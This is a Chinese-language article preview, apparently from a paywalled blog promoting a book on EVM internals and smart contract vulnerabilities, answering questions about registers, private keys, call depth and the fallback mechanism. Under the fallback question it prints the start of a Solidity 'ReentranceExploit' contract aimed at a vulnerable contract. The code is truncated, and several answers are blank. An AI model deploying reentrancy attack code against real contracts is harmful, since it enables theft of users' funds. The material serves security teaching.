以下都是来自我的新作《解密EVM机制及合约安全漏洞》里的内容
电子版PDF下载:https://download.youkuaiyun.com/download/softgmx/10800947
1.EVM有寄存器吗?
答:没有
2.智能合约地址有私钥吗?
答:没有
3.合约调用是怎样传参的?以及返回值又怎样传递的?
答:
值参传递:

返回值传递:

4.合约最大嵌套调用层数限制是多少?
答:目前定义1024层
5.合约的fallback机制是怎样实现的?
答:
contract ReentranceExploit {
bool public attackModeIsOn=false;
address public vulnerable_contract;
address public owner;
uint balance;
function ReentranceExploit() public{
owner = msg.sender;
}
function deposit(address _vulnerable_contract) public payable{
balance=this.balance;
vulnerable_contract = _vulnerable_contract ;
// call addToBalance with msg.value ethers
require(vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()"))));

本文探讨EVM的工作机制,包括合约地址无私钥、值参和返回值传递方式、调用限制及fallback实现。此外,还讲解了合约storage的存储布局和不同调用方式。关注合约安全,解析了重入攻击示例。
最低0.47元/天 解锁文章
813

被折叠的 条评论
为什么被折叠?



